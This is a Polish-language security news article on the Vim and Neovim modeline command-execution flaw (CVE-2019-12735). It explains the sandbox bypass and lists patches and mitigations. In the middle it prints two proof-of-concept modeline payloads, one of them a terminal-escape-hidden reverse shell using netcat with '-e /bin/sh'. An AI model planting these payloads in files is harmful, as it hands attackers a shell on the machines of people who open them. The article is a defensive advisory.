Od jakiegoś czasu zaobserwowaliśmy trend w szukaniu „dziur” w prostych aplikacjach wbudowanych w system operacyjny. Nie tak dawno, bo w zeszłym tygodniu pisaliśmy o odkrytej podatności w aplikacji Notatnik w Windows umożliwiającej wykonanie zewnętrznego kodu (np. uruchomienie cmd.exe). Dzisiaj mamy dla Was nową ciekawą podatność związaną również z edytorem tekstowym, ale tym razem na Linux.
Użytkownicy Linuksa, strzeżcie się!
Jeśli nie zaktualizowaliście ostatnio swojego systemu operacyjnego Linux, zwłaszcza narzędzia Vim i NoeVim do edycji tekstu dostępnych z wiersza poleceń lub nie wyłączyliście w nich odpowiedniej funkcji, nie próbujcie nawet przeglądać zawartości plików za pomocą tych aplikacji! Można przejąć zdalną kontrolę nad Linux!
Z podatnościami związanymi z edytorem Vim mieliśmy do czynienia już dużo wcześniej. Niedawno kolejną odkrył researcher bezpieczeństwa Armin Razmjou. Tym razem luka polega na wykonywaniu dowolnych poleceń systemu operacyjnego o wysokim stopniu złośliwości (CVE-2019-12735) w aplikacji Vim oraz NeoVim – czyli w dwóch najbardziej popularnych aplikacjach do edycji tekstu dostępnych z wiersza poleceń (konsoli tekstowej), które są fabrycznie zainstalowane w większości systemów operacyjnych opartych na systemie Linux.
W systemach Linux edytor Vim umożliwia użytkownikom tworzenie, przeglądanie lub edytowanie dowolnego pliku, w tym tekstu, skryptów programistycznych i dokumentów.
Neovim jest rozszerzoną wersją Vima z bardziej wzbogaconymi funkcjami dla użytkowników, wtyczkami i GUI. W niej również występuje luka polegająca na możliwości wykonania złośliwego kodu.
Błąd wykonania kodu w Vimie i Neovimie
Razmjou odkrył lukę w sposobie, w jaki edytor Vim obsługuje „modeline” czyli funkcję, która służy do automatycznego wyszukiwania i pozwala określić niestandardowe opcje edytora na początku lub końcu pliku. Funkcja ta jest domyślnie włączona i stosowana do wszystkich typów plików, w tym zwykłych plików *.txt. Na przykład, jeśli umieścimy następujące polecenie w ostatnim wierszu programu w języku C to podczas edycji tego pliku otrzymamy szerokość tekstu wynoszącą 60 znaków:
/* vim: tw=60 ts=2: */
Zmienna modeline ustawia także liczbę linii (na początku i na końcu każdego pliku), które vim sprawdza w momencie inicjalizacji pliku.
Standardowo, jeśli plik zawiera niebezpieczne wyrażenie system Linux ze względów bezpieczeństwa używa do ochrony wbudowanej piaskownicy i zezwala tylko na wywołanie podzbioru funkcji dostępnych w modelinę. Razmjou ujawnił możliwość ominięcia zabezpieczeń (piaskownicy) w momencie, gdy użyje się polecenia „:source!” (z modyfikatorem na końcu w postaci wykrzyknika [!]).
Scenariusz ataku z wykorzystaniem modeline
Poniżej przedstawiono dwa przykłady (wywołania modeline):
1. Pierwszy przykład umożliwia uruchomienie polecenia „uname – a” z poziomu pliku tekstowego otwieranego w vim na systemie Linux:
:!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=
2. Drugi przykład pokazuje powagę zagrożenia i pozwala na wykonanie polecenia netcat i połączenia się ze zdalnym komputerem używając powłoki reverse shell
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 9999 -e /bin/sh &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n
Poniżej prezentujemy demo do opisanego scenariusza:
Potencjalne zagrożenie polega na otwarciu niewinnie wyglądającego specjalnie spreparowanego pliku przy użyciu Vima lub Neovima i może pozwolić atakującemu na potajemne wykonywanie poleceń w systemie Linux i przejęcie nad nim zdalnego sterowania!
Jak sobie radzić z problemem?
Przede wszystkim pobrać dostępne już łatki na aplikację Vim oraz Neovim:
- Vim patch 8.1.1365
- Neovim patch (released in v0.3.6)
Oprócz łatek na aplikacje zalecane jest:
- wyłączenie funkcji modelines w edytorze Vim (opcja set nomodeline)
- wyłączenie możliwości użycia wyrażeń w modelines dla modelineexpr
- użycie wtyczki securemodelines.
W celu sprawdzenia czy masz wyłączoną funkcję modeline uruchom w Vim polecenie: :set modeline? Jeśli aplikacja Vim zwróci nomodeline to nie jest podatna na opisywane wyżej zagrożenie.